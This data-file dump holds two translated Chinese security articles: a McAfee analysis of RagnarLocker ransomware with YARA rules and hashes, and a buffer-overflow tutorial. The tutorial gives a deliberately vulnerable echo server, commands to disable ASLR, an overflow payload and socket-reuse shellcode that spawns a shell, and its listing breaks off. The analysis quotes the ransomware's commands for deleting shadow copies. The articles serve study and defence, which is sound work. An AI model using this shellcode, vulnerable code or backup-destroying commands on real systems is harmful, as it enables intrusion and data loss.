text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 威胁披露机密信息：深入分析RagnarLocker勒索软件
|
##### 译文声明
本文是翻译文章，文章原作者 mcafee，文章来源：mcafee.com
原文地址：<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ragnarlocker-ransomware-threatens-to-release-confidential-information>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、摘要
RagnarLocker勒索软件在2019年12月底首次在野外出现，该勒索软件作为针对受感染网络发起攻击的一个组成部分。
勒索软件的代码较小，在删除其自定义加壳程序后仅有48KB，并且使用高级编程语言（C/C++）进行编码。如同所有勒索软件一样，该恶意软件的目标是对可以加密的所有文件进行加密，并提出勒索，要求用户支付赎金以进行解密。
就像我们最近见到的其他恶意软件，RagnarLocker的运营者威胁说如果不支付赎金，就会公开发布他们从受感染主机上获取到的信息。
在进行侦查之后，勒索软件运营者会进入到受害者的网络，在预部署阶段窃取信息，然后投放勒索软件，以对受害者计算机中的所有文件进行加密。
迄今为止，影响最大的一次RagnarLocker勒索软件攻击是针对一家大型企业，勒索软件运营者首先将其部署，然后要求勒索近1100万美元的赎金，以保证不将从公司内部窃取的信息泄露出去。在这篇文章中，我们就将分析在此次攻击中所使用的样本。
截止到撰写本文时，还没有免费的RagnarLocker解密工具可用。通过部署个人防病毒软件、终端产品和安全网关，可以有效防护免受威胁的侵害。
## 二、RagnarLocker概述
在将勒索软件脱壳后，得到的是一个32位的二进制文件，以EXE形式存在。
恶意软件基本信息：
我们可以看到，该样本是在2020年4月6日编译的。前面提到的攻击活动发生在编译恶意软件的几天之后，因此该样本是为受害者精心制作的，我们将在后面进行解释。
名称：malware.exe
大小：48460字节，不同样本之间存在差异，加壳的大小是可变的
文件类型：EXE 32位（不同样本之间存在差异）
SHA-256：7af61ce420051640c50b0e73e718dd8c55dddfcb58917a3bead9d3ece2f3e929
SHA-1：60747604d54a18c4e4dc1a2c209e77a793e64dde
编译时间：2020年4月6日（不同样本之间存在差异）
## 三、技术细节
正如我们经常在勒索软件中看到的那样，RagnarLocker会针对独联体（CIS）国家，在勒索软件中嵌入一些Unicode形式的自定义语言字符串。
嵌入在堆栈代码中的语言字符串：
硬编码的语言包括：格鲁吉亚语、俄语、乌克兰语、摩尔达维亚语、白俄罗斯语、阿塞拜疆语、土库曼语、吉尔吉斯语、哈萨克语、乌兹别克语、塔吉克语。
在准备这些字符串之后，恶意软件使用函数`GetLocaleInfoW`来获取`LOCALE_SYSTEM_DEFAULT`语言作为一个字符串。在获取后，它将检查系统语言是否属于黑名单中的语言，如果匹配，勒索软件将使用`TerminateProcess`函数来结束其自身，并返回错误代码`0x29A`。这样的功能，我们之前已经在许多不同的恶意软件样本中见到过。
检查黑名单中的语言：
针对`LOCALE_SYSTEM_DEFAULT`的检查是为了防止特定国家的用户感染勒索软件，判断所在国家的依据主要是Windows中选择的语言。当然，并非所有这些国家的人都会在Windows中使用独联体国家的语言，他们也可能使用英语。与其他勒索软件一样，如果选择其他语言作为默认语言，则无法避免被感染。
在此之后，恶意软件将使用`GetComputerNameW`函数获取受感染计算机的名称，并使用`GetUserNameW`获取当前用户的用户名。
获取计算机名称和用户名：
之后，恶意软件将读取两个注册表项：
1、读取`HKLMSOFTWAREMicrosoftCryptography`和子项`MachineGuid`，以获取受害计算机的GUID；
2、读取`HKLMSOFTWAREMicrosoftWindows
NTCurrentVersion`和子项`ProductName`，以获取操作系统的名称。
为此，恶意软件在配置单元`HKEY_LOCAL_MACHINE`中使用了`RegOpenKeyExW`、`RegQueryValueExW`和`RegCloseKey`函数，在这里无需管理员权限即可读取该配置单元。
从注册表中读取操作系统名称和GUID：
接下来，RagnarLocker将使用函数`lstrcpyW`准备堆栈中的第一个字符串，然后再使用函数`lstrcatW`将字符串连接起来。
其顺序是：计算机的GUID、Windows操作系统名称、登录计算机的用户、受害计算机的名称。
获取用户和主机信息，并组合到字符串中：
在截图中，我修改了一些值，以避免暴露我的虚拟机详细信息。在获取上述信息并准备好字符串之后，恶意软件会对每个对象进行自定义哈希计算。
恶意软件将使用`VirtualAlloc`预留一些内存空间，并获取字符串的大小，在一个小循环中完成哈希值的计算。之后，它将使用函数`wsprintfW`对哈希值进行格式化，使其符合Unicode字符串的格式。
生成自定义哈希值，并将格式设置为Unicode字符串：
哈希值将按照以下顺序生成：
1、主机名称（例如：0xf843256f）；
2、登录到计算机的用户名（例如：0x56ef3218）；
3、受感染主机的GUID（例如：0x78ef216f）；
4、操作系统名称（例如：0x91fffe45）；
5、包含上述所有字符串的完整字符串（例如：0xe35d68fe）。
我已经对上述值进行了更改，以保护我的主机安全。
随后，恶意软件将使用函数`wsprintfW`和模板字符串`%s-%s-%s-%s-%s`对自定义哈希值以及它们之间的连字符进行格式化，但在这里，哈希值是按照以下的顺序：
1、GUID；
2、操作系统名称；
3、登录用户名；
4、受感染机器的名称；
5、将完整字符串与所有其他字符串连接在一起。
创建字符串的自定义哈希值，并按照特殊顺序对最后的字符串进行格式化：
该恶意软件将获取运行进程的命令行，并使用`GetCommandLineW`函数检查是否包含多个参数（第一个参数始终在C/C++中），获取带有参数的完整命令行。如果带有参数，则使用`CommandLineToArgvW`获取该参数。
如果存在多个参数，则恶意软件将不会再执行下一个步骤。为了保证技术细节部分的连续性，我们将仅介绍一个参数时发生的情况。在这种情况下，恶意软件将尝试使用带有所有哈希值格式化后的字符串名称来创建Windows事件，如前所述。在我们的案例中，该字符串为78ef216f-91fffe45-56ef3218-f843256f-e35d68fe。
在尝试创建事件后，恶意软件将使用`GetLastError`函数检查最后一个错误，并将其与`ERROR_ALREADY_EXISTS
(0xB7)`进行比较。如果事件已经存在，则恶意软件将检查计数器的值是否为0x8000
(32768)。如果不是该值，则会将计数器加一，然后再次尝试创建该事件，并检查最后一个错误，以此类推，直到其最终达到该值，或者达到计数器中的最大值（64233）。如果无法创建事件，则恶意软件将使用`GetCurrentProcess`函数，将伪句柄移动到自身的进程，随后使用函数`TerminateProcess`将其终止，并返回错误代码`0x29A`。
检查命令行后创建事件循环：
这样做有几个原因：
1、创建该事件，是为了避免同时重新启动该恶意软件的另一个实例。
2、如果启动了另一个恶意软件实例，则会检查计数器，以等待前一个实例完成后再继续执行该进程，这就避免了恶意软件检查加密文件的问题。
3、该参数的检查可用于避免事件行为，因此恶意软件将始终尝试加密文件。而这也正是为什么如果恶意软件运营者使用1作为参数执行恶意软件，就会导致针对该恶意软件的免疫无效的原因之一。
在此之后，恶意软件将尝试以传统的物理方式，访问连接到受害计算机的所有单元，并准备字符串`\.PHYSICALDRIVE%d`。该字符串将使用函数`wsprintfW`进行格式化，循环过程将从0一直到16。在进行格式化之后，恶意软件将使用`CreateFileW`并检查是否返回错误`ERROR_INVALID_HANDLE`，该报错表示无法访问该单元或该单元不存在。如果返回这个错误，则计数器加一，并继续使用计数器新的取值来格式化字符串。如果可以在原模式下打开设备的句柄，恶意软件将会使用`DeviceIoControl`函数发送两个命令。
这两个命令分别是：
1、0x7C0F4 ->
IOCTL_DISK_SET_DISK_ATTRIBUTES，其属性为`DISK_ATTRIBUTE_READ_ONLY`和`DISK_ATTRIBUTE_OFFLINE`。
2、0x70140 ->
IOCTL_DISK_UPDATE_PROPERTIES，会让驱动器更新其分区表。在属性更新后，就可以在磁盘上以共享模式访问恶意软件。
控制物理磁盘，以对其进行访问：
勒索软件的下一个动作是检查存在的单元，确保可以毫无问题地访问这些单元。这一过程可以通过以下两种方式来完成，第一种是使用函数`FindFirstVolumeA`、`FindNextVolumeA`和`FindVolumeClose`。
获取卷盘符和信息，以检查其是否存在，确保可以访问：
前两个函数返回卷盘符和与之关联的特殊内部值。这个信息来自Windows，因此恶意软件需要将其转换为与卷关联的逻辑单元盘符。这一过程可以通过函数`GetVolumePathNamesForVolumeNameA`来完成，该函数将返回与所检查的卷相关联的逻辑盘符。
然后，通过该盘符可以使用函数`GetVolumeInformationA`来获取卷的信息（如果存在且已启用）。如果该卷不存在或无法检查，则该函数将运行失败，并且忽略该卷，将继续尝试计算机中的下一个卷。
另一项检查会使用到函数`GetLogicalDrives`，该函数将返回结构，并通过检查一个特定字节，判断该单元是否存在。
随后，恶意软件将准备密钥，后续将使用该密钥对文件进行加密。为此，它将使用函数`CryptAquireContextW`获取加密的上下文，该函数将使用`CryptGenRandom`生成随机数据，并使用SHA-512算法替换该值。这些值是Salsa20算法的密钥和随机数，将在以后用于加密文件。
获取加密上下文，生成一些数据，并准备计算SHA-512哈希值：
恶意软件会继续按照以下两个步骤解密某些字符串，其中在相对较大函数中的第一个步骤用于第一层，而第二个步骤用于第二层和服务的最终字符串。停止的服务是：
vss
sql
memtas -> associated with MailEnable
mepocs -> associated with MailEnable
Sophos -> associated with Sophos Antivirus
Veeam -> associated with a program to make backups and save in the cloud
Backup -> associated with Asus WebStorage
Pulseway -> associated with remote control software for IT departments
Logme -> associated with remote control software
Logmein -> associated with a remote control software
Conectwise -> associated with a remote control software
Splastop -> associated with a remote control software
Mysql -> associated with a program of databases
Dfs -> associated with the Distribute File System (Microsoft)
请注意，服务列表可能会取决于样本的不同而有所不同。
在解密字符串后，恶意软件使用`OpenSCManagerA`函数访问SCManager。如果不需要访问，它将忽略所有服务，并继续下一步。
如果可以打开其句柄，则将会使用函数`EnumServicesStatusA`获取服务的状态，如果服务已经停止，则会传递给下一个服务。恶意软件两次调用该函数，首先是获得该函数所需的正确大小，最后一次进行错误检查的过程会使用`GetLastError`检查值是否为`0xEA`（ERROR_ALREADY_EXISTS）。如果存在该错误值，则表明应用程序需要更多的内存来填充该函数给出的所有信息。
打开服务管理器和ENUMSERVICESTATUS：
这部分内存将被保留，以便稍后再调用该函数并获取实际状态，如果不被停止，恶意软件将使用函数`OpenServiceA`打开服务，并使用函数`QueryServiceStatusEx`查询服务的状态。如果服务没有停止，它将通过`EnumDependentServicesA`获取该服务的所有依赖关系，最后将通过`ControlService`函数控制该服务使其停止。
打开服务并进行控制：
之后，该恶意软件会解密一系列进程，如果在受感染的计算机中找到它们，将会尝试终止这些进程。对于这一解密过程，恶意软件使用一个字符串，该字符串将会被转换为整数，并使用整数作为临界值来解密列表。
对于这项任务，恶意软件将根据下列黑名单，创建系统中所有进程的快照：
sql
mysql
veeam
oracle
ocssd
dbsnmp
synctime
agntsvc
isqlpussvc
xfssvccon
mydesktopqos
ocomm
dbeng50
sqbcoreservice
excel
infopath
msaccess
mspub
onenote
outlook
powerpnt
steam
thebat
thunderbird
visio
wordpad
winword
EduLink2SIMS
bengine
benetns
beserver
pvlsvr
beremote
VxLockdownServer
postgres
fdhost
WSSADMIN
wsstracing
OWSTIMER
dfssvc.exe
swc_service.exe
sophos
SAVAdminService
SavService.exe
请注意，进程列表可能会取决于样本的不同而有所不同。
在制作快照后，它将会使用`Process32FirstW`和`Process32NextW`函数枚举所有进程，并为找到的每个进程调用`WideCharToMultyByte`函数，以获取将Unicode返回的进程名称转换为ASCII所需的大小。随后，将会为不同名称的进程保留内存，并调用相同的函数进行字符串转换。
获取所有系统进程：
如果恶意软件在使用`StrStrIA`函数进行比较之后，检测到了某些黑名单中的进程，则会使用`OpenProcess`函数打开该进程，并使用`TerminateProcess`函数终止该进程，返回代码为0x29A。
打开并终止黑名单中的进程：
该恶意软件将使用字符串中的一部分来检查黑名单中的所有进程，并非是使用确切的名称。由于不使用扩展名，将会带来更大的迷惑性，但也同时可能导致某些使用该字符串的进程被意外关闭的风险。
此后，恶意软件将检查操作系统是否为64位，使用的是`GetNativeSystemInfo`函数，如果值为9，则表示使用了64位系统。
如果操作系统是64位，则将使用`LoadLibraryW`和`GetProcAddress`获得函数`Woe64EnableWow64FsRedirection`，以删除默认情况下在64位操作系统中出现的重定向。该调用以动态方式完成，但恶意软件不会检查是否已经成功检索到该函数。通常情况下是没问题的，但是并不能100%确定，并且可能会发生调用空指针的崩溃情况。
检查操作系统，并在需要时禁用重定向：
此后，恶意软件将使用嵌入到代码中的字符串`wmic.exe shadowcopy
delete`，并使用函数`CreateProcessW`调用它。在调用之后，将会使用函数`WaitForSingleObject`等待一个没有上限的时间，以便`wmic.exe`进程在各种卷大小、卷数量、主机可用资源的场景中都可以执行完成。
当然，恶意软件还将使用经典的`vssadmin`程序通过命令`vssadmin delete shadows /all
/quiet`和`CreateProcessW`函数来删除卷影。之后，它将再次使用`WaitForSingleObject`等待新进程的结束。
在完成之后，恶意软件将再次检查操作系统是否为64位，如果是，则将使用`LoadLibraryW`和`GetProcAddress`获取函数`Wo64EnableWow64FsRedirection`，像以前一样使用重定向来离开系统。同样，恶意软件不会检查函数是否成功解析，而是直接以动态方式进行调用。
销毁卷影并重新启用重定向：
尽管再次破坏卷影似乎是一个错误，但实际并非如此，因为RagnarLocker勒索软件也同样支持Windows
XP，而XP操作系统中不存在WMIC类，所以就需要使用存在于Windows中的旧版本程序`vssadmin`来同时兼容新旧操作系统。
该恶意软件继续解密以Base64编码的一个PEM块，并在内存中存储了赎金提示信息。
解密后的PEM块和赎金提示信息：
下面展示了赎金提示信息，其中已经删除了敏感信息。
赎金提示信息示例：
在完成上述两项任务之后，恶意软件会将Base64编码后的PEM块解码为一个对象，获得一个密钥，该密钥将用于使用RSA算法加密进程中使用的密钥。随着恶意软件的发展，这一过程可能会在以后的样本中发生变化。
使用Base64解码并解码对象，以便稍后使用：
使用这个密钥，将会加密先前生成的两个随机密钥，以在内存中对其进行保护。随后，加密功能将释放内存。
此后，将会再次获取被感染主机的名称，得到名称的大小，并使用与之前相同的算法来计算自定义哈希值。
对之前生成的值进行加密，并获取计算机名称：
使用这个哈希值，将会准备具有以下结构的字符串：
1、`RGNR_`
2、受害主机名称的哈希值
3、扩展名.txt
4、以反斜杠字符开头的字符串
这一过程通过函数`lstrcatW`来实现。
创建赎金提示信息名称：
使用这个字符串，勒索软件将利用`SHGetSpecialFolderPathW`函数获取所有用户“我的文档”的文件夹路径。这个包含文件夹路径的字符串将与赎金提示信息名称字符串结合在一起，共同组合创建文件的最终路径。
获取我的文档文件夹所在路径，以在稍后写入赎金提示信息：
此后，将使用`CryptBinaryToStringA`函数对关键信息进行Base64编码以解密文件。恶意软件第一次使用该函数来获取所需的大小并保留相应内存，然后再次使用该函数对数据进行编码。在对数据进行编码后，它会在文档路径中创建一个勒索提示文件，该字符串先前已经通过`CreateFileW`函数与路径进行连接，并且将会写入已经在内存中准备好的赎金提示信息内容。随后，将使用一些硬编码的特定字符串“—RAGNAR
SECRET—”对内容进行格式化，并以其作为块的开头和结尾，在二者之间，将写入Base64编码后的字符串和赎金提示信息。
创建赎金提示信息并在其末尾加入Ragnar Secret：
随后，恶意软件将使用以下两个字符串组合生成一个新的字符串：
1、`.ragnar_`
2、受害者主机名称的哈希值
该字符串稍后将用作加密文件的新扩展名。此后，恶意软件将再次使用`函数`遍历系统内的逻辑单元，并且再次检查这些单元是否正确，使用`GetLogicalDrivesW`函数检查该单元的类型，以规避CD-ROM（只读）。对于每个逻辑单元，恶意软件将遍历所有的文件和文件夹，并开始加密过程。
获取所有逻辑单元并逐一检查：
在开始加密过程之前，恶意软件先尝试将赎金记录写入每个单元的根目录中，以便易于被用户发现。
该恶意软件将忽略包含以下名称的文件夹：
Windows
Windows.old
Internet Explorer
Google
Opera
Opera Software
Mozilla
Mozilla Firefox
$Recycle.Bin
ProgramData
All Users
赎金提示信息将会写入到所有受影响的文件夹中，这一点与其他的勒索软件相同。在这里，将使用`FindFirstFileW`和`FindNextFileW`函数遍历每个文件夹中的所有内容。
检查文件夹名称是否在黑名单中：
RagnarLocker还会避免加密某些特定的文件，包括：
autorun.inf
boot.ini
bootfont.bin
bootsect.bak
bootmgr
botmgr.efi
bootmgfw.efi
desktop.ini
iconcache.db
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
RGNR_<hash>.txt
检查文件名是否在黑名单中：
如果文件使用了上述名称，则将会被忽略。不仅如此，如果文件使用特定的扩展名，恶意软件也同样会不对其进行加密处理，这些扩展名包括：
.db
.sys
.dll
.lnk
.msi
.drv
.exe
检查文件扩展名是否在黑名单中：
以上就是全部的检查过程，这样可以充分防止勒索软件破坏操作系统，因为他们需要受害者能够访问主机，这样才能看到勒索信息并有可能支付赎金。
对于通过检查后的所有文件，恶意软件将会创建一个线程对其进行加密。创建所有线程后，恶意软件将使用`WaitForMultipleObjects`函数等待运行完成。
在加密进程的线程中，恶意软件通过`SetFilePointerEx`函数读取文件的最后9个字节，判断文件末尾是否带有“ _RAGNAR_
”标记。如果带有此标记，则该文件将会在加密过程中被忽略，并将再次对其重命名。
检查文件中是否有加密标记：
在其他情况下，恶意软件将会对文件进行加密，并在文件末尾写入密钥的加密块（256字节）、随机数（256字节）和“ _RAGNAR_
”标记，最后以一个NULL字符结尾（9字节）。在Salsa20算法中使用的密钥和随机数由嵌入在恶意软件中的RSA公钥进行加密。这样一来，就可以确保只有恶意软件开发人员才拥有RSA私钥，并有能力解密系统中的文件。
在写入信息前，恶意软件将使用`LockFile`函数，并在写入函数进程执行完成后使用`UnlockFile`函数释放已经加密的文件。这样做是为了防止在加密过程中文件被更改或删除。
在文件末尾写入新的内容：
在加密后，或者判断文件已经被加密后，恶意软件会将扩展名修改为新的扩展名，例如“.ragnar_45EF5632”。
修改文件扩展名：
在结束所有加密线程之后，恶意软件尝试获取终端服务会话，或使用`WTSGetActiveConsoleSessionId`函数登录本地计算机的用户会话。在这个会话中，恶意软件会使用`GetCurrentProcess`函数获取恶意软件的当前进程，并使用`OpenProcessToken`函数获取该进程的令牌。对于先前获得的会话，它尝试使用`DuplicateTokenEx`函数来复制令牌，并使用`SetTokenInformation`函数设置为这个令牌。之后，将使用`GetSystemDirectoryW`函数获取系统目录，并将字符串`notepad.exe`连接到该路径后面。
获取本地用户或终端服务的会话并管理令牌：
在准备好这项工作之后，恶意软件将运行记事本，并将赎金提示信息展示给用户。在这一过程，使用的函数是`CreateProcessAsUserW`，以模拟此前用户的会话。
创建记事本进程，并展示赎金提示信息：
在这一步骤之后，恶意软件就完成了其全部的功能，并使用`ExitProcess`函数退出，退出代码为0。
## 四、勒索软件免疫
在技术部分，我们已经详细分析了该勒索软件的工作原理。如果精心制作一个可以生成特定事件的程序，那么理论上就可以实现该勒索软件的免疫。如上一章所述，如果在系统中存在特定事件，则恶意软件就不会再产生破坏。但是，这种免疫的方式并不是一个长期稳妥的解决方案，原因主要在于：
1、恶意软件开发人员可以更改算法，或者调整事件名称的顺序，或者使用互斥锁来替代事件，这将导致免疫失效。
2、该算法具有硬编码值。如果更改此值，则最终的哈希值将会有所不同，并且免疫将会失效。
3、恶意软件的开发方式是，如果具有至少两个参数，则不会创建该事件，因此，如果恶意软件运营人员希望安全地执行，只需要带有一个参数执行即可，例如`<malware.exe>
1`。
4、恶意软件可能随着时间不断发展，因此上述免疫方式可能非常脆弱，或受到一定限制。
## 五、总结
RagnarLocker勒索软件非常具有典型性，由于其体积较小，再加上恶意软件运营人员采取了比较激进的行为模式，以及其中使用了多种技术，导致该勒索软件可能会轻松进入到企业网络中，勒索企业人员支付赎金以防止信息泄露。RagnarLocker勒索软件在以后可能会成为一个巨大的威胁，这一点只能交由时间去证明。我们综合评估该勒索软件的代码质量是中等水平。
## 六、MITRE ATT&CK
1、命令和控制：标准应用层协议
2、逃避防御：禁用安全工具
3、侦查：侦查安全软件
4、侦查：侦查软件
5、侦查：侦查系统信息
6、侦查：侦查系统服务
7、侦查：侦查系统时间
8、侦查：查询注册表
9、执行：命令行界面
10、执行：通过API执行
11、渗出：数据加密
12、影响：加密数据以产生影响
13、影响：停止服务
## 七、YARA规则
rule RagnarLocker
{
/*
This YARA rule detects the ransomware RagnarLocker in memory or unpacked in disk for the sample with hash SHA1 97f45184770693a91054075f8a45290d4d1fc06f and perhaps other samples
*/
meta:
author = “McAfee ATR Team”
description = “Rule to detect unpacked sample of RagnarLocker”
version = “1.0”
strings:
$a = { 42 81 F1 3C FF 01 AB 03 F1 8B C6 C1 C0 0D 2B F0 3B D7 }
condition:
$a
}
import “pe”
rule ragnarlocker_ransomware
{
meta:
description = “Rule to detect RagnarLocker samples”
author = “Christiaan Beek | Marc Rivero | McAfee ATR Team”
reference = “https://www.bleepingcomputer.com/news/security/ragnar-locker-ransomware-targets-msp-enterprise-support-tools/”
date = “2020-04-15”
hash1 = “63096f288f49b25d50f4aea52dc1fc00871b3927fa2a81fa0b0d752b261a3059”
hash2 = “9bdd7f965d1c67396afb0a84c78b4d12118ff377db7efdca4a1340933120f376”
hash3 = “ec35c76ad2c8192f09c02eca1f263b406163470ca8438d054db7adcf5bfc0597”
hash4 = “9706a97ffa43a0258571def8912dc2b8bf1ee207676052ad1b9c16ca9953fc2c”
strings:
//—RAGNAR SECRET—
$s1 = {2D 2D 2D 52 41 47 4E 41 52 20 53 45 43 52 45 54 2D 2D 2D}
$s2 = { 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? B8 ?? ?? ?? ?? 0F 44 }
$s3 = { 5? 8B ?? 5? 5? 8B ?? ?? 8B ?? 85 ?? 0F 84 }
$s4 = { FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
$s5 = { 8D ?? ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
$op1 = { 0f 11 85 70 ff ff ff 8b b5 74 ff ff ff 0f 10 41 }
$p0 = { 72 eb fe ff 55 8b ec 81 ec 00 01 00 00 53 56 57 }
$p1 = { 60 be 00 00 41 00 8d be 00 10 ff ff 57 eb 0b 90 }
$bp0 = { e8 b7 d2 ff ff ff b6 84 }
$bp1 = { c7 85 7c ff ff ff 24 d2 00 00 8b 8d 7c ff ff ff }
$bp2 = { 8d 85 7c ff ff ff 89 85 64 ff ff ff 8d 4d 84 89 }
condition:
uint16(0) == 0x5a4d and
filesize < 100KB and
(4 of ($s*) and $op1) or
all of ($p*) and pe.imphash() == “9f611945f0fe0109fe728f39aad47024” or
all of ($bp*) and pe.imphash() == “489a2424d7a14a26bfcfb006de3cd226”
}
## 八、威胁指标
SHA256 7af61ce420051640c50b0e73e718dd8c55dddfcb58917a3bead9d3ece2f3e929
SHA256 c2bd70495630ed8279de0713a010e5e55f3da29323b59ef71401b12942ba52f6
SHA256 dd5d4cf9422b6e4514d49a3ec542cffb682be8a24079010cda689afbb44ac0f4
SHA256 63096f288f49b25d50f4aea52dc1fc00871b3927fa2a81fa0b0d752b261a3059
SHA256 b670441066ff868d06c682e5167b9dbc85b5323f3acfbbc044cabc0e5a594186
SHA256 68eb2d2d7866775d6bf106a914281491d23769a9eda88fc078328150b8432bb3
SHA256 1bf68d3d1b89e4f225c947442dc71a4793a3100465c95ae85ce6f7d987100ee1
SHA256 30dcc7a8ae98e52ee5547379048ca1fc90925e09a2a81c055021ba225c1d064c | 社区文章 |
# 【技术分享】远程漏洞利用：无需借助套接字的Shellcode
|
##### 译文声明
本文是翻译文章，文章来源：0x00sec.org
原文地址：<https://0x00sec.org/t/remote-exploit-shellcode-without-sockets/1440>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：200RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**前言**
在本文中，我将介绍一种优雅的技术，来获得一个shell访问易受攻击的远程机器。虽然这个技术不是我发明的，但我发现它的确很有趣，所以本文的重点是这种技术本身，而不是利用漏洞的具体方式。
**设置环境**
为了专注于远程shell代码本身，而不是把精力用在如何规避ASLR、非可执行堆栈等防御措施上面，我们将禁用这些安全功能。一旦熟悉了获取shellcode的方法，可以重新启用这些保护措施，以进一步练习如何突破这些安全设置。因此，这是一个非常有趣的练习，如果你想练手的话。
首先，我们将禁用ASLR。为此，可以使用以下命令：
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
这些设置都是临时性质的，在下次重新启动时会全部还原。如果你想要在不重新启动机器的情况下立即还原所有设置的话，可以使用如下所示的命令：
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
为了禁用其余的安全功能，我们可以使用以下选项来编译带有安全漏洞的服务器：
-fno-stack-protector -z execstack
这些选项会禁用堆栈的canarie保护，并赋予堆栈执行权限。这样的话，我们就得到了一个非常容易利用的环境。
**带有安全漏洞的服务**
现在，让我们编写一个带有缓冲区溢出漏洞的小型回显服务器，这样我们就可以远程利用它了。这个程序很简单，你能发现代码中的缓冲区溢出漏洞吗？ 你当然可以。
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int
process_request (int s1, char *reply)
{
char result[256];
strcpy (result, reply);
write (s1, result, strlen(result));
printf ("Result: %pn", &result);
return 0;
}
int
main (int argc, char *argv[])
{
struct sockaddr_in server, client;
socklen_t len = sizeof (struct sockaddr_in);
int s,s1, ops = 1;
char reply[1024];
server.sin_addr.s_addr = INADDR_ANY;
server.sin_family = AF_INET;
server.sin_port = htons(9000);
s = socket (PF_INET, SOCK_STREAM, 0);
if ((setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops))) < 0)
perror ("pb_server (reuseaddr):");
bind (s, (struct sockaddr *) &server, sizeof (server));
listen (s, 10);
while (1)
{
s1 = accept (s, (struct sockaddr *)&client, &len);
printf ("Connection from %sn", inet_ntoa (client.sin_addr));
memset (reply, 0, 1024);
read (s1, reply, 1024);
process_request (s1, reply);
close (s1);
}
return 0;
}
很好，下面我们就来编译它，让它变成一个最容易利用的服务器：
gcc -g -fno-stack-protector -z execstack -o target target.c
下面，我们来展示它的脆弱性。在一个终端运行这个带有安全漏洞的服务器，然后在另一个终端运行下列命令：
$ perl -e 'print "A"x1024;' | nc localhost 9000
在运行服务器的终端中，我们将会看到如下所示的内容：
$ ./target
Connection from 127.0.0.1
Result: 0x7fffffffdbf0
Segmentation fault (core dumped)
注意，我已经添加了打印局部变量的地址的语句，从而可以验证ASLR是否被禁用。每次执行这个二进制代码的时候，应该总是看到相同的数字（当然，如果你修改了这个程序，数字就会随之改变）。
现在，我们可以拿这个程序来练手，学习如何使用各种触手可及的shellcode来获取一个本地shell。尽管这个练习非常简单，但是我们建议您至少要练习一次。具体过程本文不作详细介绍，因为关于缓冲区溢出漏洞利用的教程，在网络上面数不胜数。
**远程Shell**
下面我们介绍如何获取远程shell。注意，这里的关键在于“远程”。这意味着在易受攻击的机器和攻击者之间，隔着一个网络。或者换句话说，我们必须通过一些套接字来发送/接收数据。根据这一要求，有两种方式可以用来获得远程shell：
如果你的shellcode创建一个服务器套接字来启用来自外部的连接请求，并从本地shell发送和接收数据 …那么，这就是一个直接远程shell。
如果你的shellcode连接回一个预先指定的主机，并且这个主机上运行的服务器软件正在等待受害者的连接…那么，这就这是一个反向远程shell。
关于这两种远程shell的详细信息，请访问<https://0x00sec.org/t/remote-shells-part-i/269>。
看到这两个定义后，你可能会联想到RHOST/RPORT之类的变量….是的，它们可以用来告诉payload连接的主机地址和相应的端口。对于反向shell来说，您必须将这些信息存放到payload中，以便连接回来。对于直接shell你通常需要定义端口，服务器就会等待连接。
但是，至少对于Unix机器来说，还有第三种选择。
**连接复用**
当执行远程漏洞利用代码时，为了利用此漏洞，您已经连接到了服务器…所以，为什么不重用这个已经建立好的连接呢？这真是一个不错的想法，因为它不会显示任何会引起受害者怀疑的东西，例如来自服务器未知服务的开放端口等。
实现这一点的方法也非常巧妙。它是基于这样的事实，即系统是按顺序分配文件描述符的。知道了这一点，我们就可以在建立连接之后立即复制一个当前文件的描述符，除非服务器的负载很重，否则我们得到的文件描述符等于用于我们连接的套接字的文件描述符+1，这样很容易就能知道我们的连接的文件描述符了。
一旦知道了当前连接的文件描述符，我们只需要将它复制到文件描述符0、1和2（stdin、stdout和stderr），就可以生成一个shell了。这样一来，该shell的所有输入/输出都会被重定向到我们的套接字了。
还不明白吗？肯定没读过<https://0x00sec.org/t/remote-shells-part-i/269>页面上的文章吧？不过没关系，现在去看也不晚。
相应的C代码如下所示：
int sck = dup (0) - 1; // Duplicate stdin
dup2 (sck, 0);
dup2 (sck, 1);
dup2 (sck, 2);
execv ("/bin/sh", NULL);
看…根本就没有使用套接字代码！如果我们把它变成一个shellcode，并且设法利用远程服务器的漏洞来运行该代码，我们就能够获得一个shell来访问远程机器，而这个shell所使用的连接，正好就是原来向远程服务器投递利用代码的那个连接。
当然，也你已经注意到这种技术存在一些缺点。就像我们所提到的那样，如果服务器比较繁忙的话（同时建立许多连接），这种方法就很难奏效了。此外，正常的服务器会在变成守护进程之前关闭所有的文件描述符，因此我们可能需要尝试使用其他值来推测文件描述符。
这个技术是前一段时间跟@_py进行讨论的时候，由他想出来的。我们当时检查的原始代码可以在这里找到：
http://shell-storm.org/shellcode/files/shellcode-881.php4
但是，这是一个32位代码，所以我重新制作了对应的64位版本，以及一个运行漏洞利用代码的Perl脚本。
**64位版本的Shellcode**
下面的代码您就将就着看吧(我这才发现自己的汇编技能真是生锈了)，不过它确实可以正常运行，并且只比原来的32bits版本长了3个字节。我的64位版本的Shellcode如下所示：
section .text
global _start
_start:
;; s = Dup (0) - 1
xor rax, rax
push rax
push rax
push rax
pop rsi
pop rdx
push rax
pop rdi
mov al, 32
syscall ; DUP (rax=32) rdi = 0 (dup (0))
dec rax
push rax
pop rdi ; mov rdi, rax ; dec rdi
;; dup2 (s, 0); dup2(s,1); dup2(s,2)
loop: mov al, 33
syscall ; DUP2 (rax=33) rdi=oldfd (socket) rsi=newfd
inc rsi
mov rax,rsi
cmp al, 2 ; Loop 0,1,2 (stdin, stdout, stderr)
jne loop
;; exec (/bin/sh)
push rdx ; NULL
